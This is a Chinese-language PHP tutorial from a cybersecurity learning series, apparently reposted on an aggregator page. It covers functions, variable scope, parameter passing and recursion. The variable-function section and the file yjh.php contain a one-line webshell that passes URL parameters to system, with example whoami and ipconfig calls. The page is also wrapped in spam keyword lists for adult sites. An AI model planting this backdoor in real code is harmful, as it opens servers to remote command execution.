日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

【CyberSecurityLearning 46】PHP 函数

發布時間:2025/3/15 php 24 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【CyberSecurityLearning 46】PHP 函数 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

目錄

自定義函數

結構

注意:

PHP變量的范圍

局部變量

全局變量

靜態變量

參數的傳遞

1、按值傳遞參數(默認方式)

2、按引用傳參

3、默認參數

4、可變函數參數列表

可變函數(變量函數)

最簡單的后門(最簡單的一句話木馬):$a($b)

遞歸函數

源碼

1.php

2.php(局部變量)

3.php(全局變量)

4.php(靜態變量)

5.php()

6.php(按默認值傳遞參數/引用傳參)

7.php(默認參數)

8.php(可變函數參數)

9.php(可變函數)

yjh.php(最簡單的后門)

10.php(遞歸函數)


自定義函數

代碼塊

有輸入,大多數情況下有輸出

?

結構

function 函數名(形參){

? ?代碼塊

? ?return ;

}

注意:

函數調用時,實參要按照順序給形參。
函數調用時,互相獨立,默認沒有聯系。
執行完畢后,返回調用的位置,繼續向下執行。

PHP變量的范圍

局部變量

在函數內部定義的變量

變量的作用范圍就是這個函數

全局變量

在PHP腳本中,函數外部定義的變量

變量的作用域為整個PHP腳本

在函數中使用全局變量?
1、傳參

2、聲明

global

3、常量的作用域,是超全局(函數內部、外部都能用)

<?php $a=10; define("NAME","AJEST") function test(){echo $a;global $a;echo $a;echo NAME; } test(); ?>

靜態變量

在函數內部定義

用static修飾符修飾

僅在函數初次執行時被初始化

?

參數的傳遞

1、按值傳遞參數(默認方式)

對形參的操作,不會對實參產生影響。

2、按引用傳參

相當于給實參起了一個別名,對形參的操作會影響實參。

3、默認參數

如果沒有給函數傳遞實參,取默認值

建議:全給默認參數

4、可變函數參數列表

func_get_arg?(?int?$arg_num?) :?mixed

func_get_args();??? //

func_get_arg();???? //根據參數偏移量,從0開始計數,獲取參數

func_num_args();? //獲取參數的個數

可變函數(變量函數)

函數名為變量,類似這樣的結構

$a($b)

也是最簡單的后門

變量后面直接加括號——變成一個函數

這種動態函數非常危險,如果這個動態函數的函數名可以控制,參數可控,我們就可以直接任意命令了。這就是RCE(遠程命令/代碼執行漏洞)其中一個原理

我們有一些PHP語句不是函數,比如說print,echo。如果非要輸出試試printf。(printf只有字符串輸出功能)
那我們這個system函數會將字符串當做命令去執行

system — 執行外部程序,并且顯示輸出

最簡單的后門(最簡單的一句話木馬):$a($b)

就兩個變量名就沒了

<?php $_GET['a']($_GET['b']); ?>

在URL中輸入:localhost/1.php?a=system&b=ipconfig
(system — 執行外部程序,并且顯示輸出)

在URL中輸入:localhost/1.php?a=system&b=whoami

遞歸函數

遞歸函數在函數內部自己調用自己的函數

?

?

源碼

1.php

<?php function userprint(){echo "This is userprint Fun!"; } function hello($name){echo "Hello, ".$name; } function add($a,$b){$c = $a + $b;return $c; } userprint(); hello("GGG"); echo "<hr />"; echo add(1,2); ?>

2.php(局部變量)

<?php $a = 10; function test(){echo $a; } test(); echo "<hr />"; echo $a; ?>

3.php(全局變量)

<?php $a = 10; define("NAME","GGG"); function test(){echo $a;global $a;echo $a;echo NAME; } test(); ?>

4.php(靜態變量)

<?php function test(){static $a = 10;echo ++$a."|"; } test(); test(); test(); ?>

?

5.php()

<?php function A(){echo "This is A fun!<hr />"; } function B(){echo "This is B fun!<hr />";A();echo "Fun B end!<hr />"; } function C(){echo "This is Fun C<hr />";B();echo "All Fun end<hr />"; } C(); ?>

6.php(按默認值傳遞參數/引用傳參)

<?php /* function add($x){echo ++$x; } */ function add(&$x){echo ++$x; } $a = 3; add($a); echo "<hr />"; echo $a; ?>

7.php(默認參數)

<?php function add($a=2,$b){echo $a+$b."<hr />"; } add(10,20); //add(4); add (1,2,3,4,5); ?>

8.php(可變函數參數)

<?php function test(){//echo "This is :".__FUNCTION__;echo func_num_args();//傳參個數echo "<br />";echo func_get_arg(1);//根據參數偏移量,從零開始計數,獲取參數值echo "<br />";for($i=0;$i<func_num_args();$i++){echo func_get_arg($i)."|";} } //test(); test("GGG",24,true,89.9); echo "<br />"; ?>

9.php(可變函數)

<?php function test1(){echo "This is func".__FUNCTION__;echo "<br />".func_get_arg(0); } function test2(){echo "This is func".__FUNCTION__;echo "<br />".func_get_arg(0); } //$a="test1"; //$a="test2"; //$a="var_dump"; //$a="echo" //$a("GGG");//函數 函數名$abs test1("GGG") //$a="printf"; $a ="system"; $a("ipconfig"); ?>

yjh.php(最簡單的后門)

<?php $_GET['a']($_GET['b']); ?>

10.php(遞歸函數)

<?php function test($n){echo $n.'&nbsp';if($n>0){test($n-1);}else{echo '<-->';}echo $n.'&nbsp'; } test(3);//3 2 1 0 <-->0 1 2 3?>

?

?

總結

以上是生活随笔為你收集整理的【CyberSecurityLearning 46】PHP 函数的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 国内成人自拍 | 欧美三级久久 | 麻豆影视在线免费观看 | 求欧美精品网址 | 91免费版在线看 | 麻豆av免费在线观看 | 牛牛精品一区 | 免费又黄又爽又色的视频 | 久久精品黄色片 | 成人av一级| 国产精品久久一 | 狠狠的色 | 日韩精品福利视频 | 私库av在线 | 日本黄色性视频 | 在线免费观看日韩av | 欧美高大丰满少妇xxxx | 久久免费精品国产 | 老熟女一区二区三区 | 在线观看国产 | 99蜜桃臀久久久欧美精品网站 | 一级片99 | 黄色高清在线观看 | 俄罗斯女人裸体性做爰 | 麻豆精品免费视频 | 欧美 日韩 人妻 高清 中文 | 激情亚洲天堂 | 日韩少妇 | 国产理论片 | 无码毛片aaa在线 | 国产视频在线观看一区 | 蜜臀aⅴ国产精品久久久国产老师 | 婷婷丁香六月天 | 日韩精品视频免费播放 | xx视频在线观看 | 精品伦精品一区二区三区视频密桃 | 久久婷婷综合色 | 潮喷失禁大喷水无码 | 精品伦精品一区二区三区视频密桃 | 亚洲插| 亚洲v欧美v | 91少妇丨porny丨 | 人妻无码中文久久久久专区 | 欧美狠狠操 | 久一在线视频 | 精品人妻无码专区视频 | 精品久久久久久久久中文字幕 | 成人影视网址 | 中文字幕无线精品亚洲乱码一区 | 一级片www | 97人人人 | 操操干干 | 国产日韩一区二区三区 | 美女被男人桶出白浆喷水 | 粉嫩一区二区三区 | 久久久久久久人妻无码中文字幕爆 | 婷婷综合亚洲 | 国产主播av | 国产一区二区三区四区精 | 欧美一区二区三区日韩 | 亚洲一级Av无码毛片久久精品 | 亚洲精品av中文字幕在线在线 | 欧美日韩精品久久久免费观看 | 特级特黄刘亦菲aaa级 | 丰满大乳奶做爰ⅹxx视频 | 欧美乱妇视频 | 中文字幕av资源 | 隔壁邻居是巨爆乳寡妇 | 成人av黄色 | av加勒比| 一本色道久久hezyo加勒比 | 色一五月 | www.av免费| 精品视频一区二区三区四区 | 五月天综合久久 | 久久久精品视频在线 | 亚洲 欧美 日韩系列 | 欧美色图片区 | www.在线国产 | 日韩高清中文字幕 | 人人看超碰 | 午夜影院免费 | а√天堂www在线天堂小说 | 国产美女自慰在线观看 | 亚洲制服丝袜诱惑 | 假日游船 | 精品少妇人妻一区二区黑料社区 | 无码人妻丰满熟妇区bbbbxxxx | av网站免费在线观看 | 成人免费网站www网站高清 | 日韩高清欧美 | 国产三级大片 | 在线免费视频你懂的 | 免费成人在线观看动漫 | 欧美精品久久久久性色 | 日本激情一区二区三区 | 国产黄频在线观看 | 日本xxxx18 | 在线观看欧美一区 |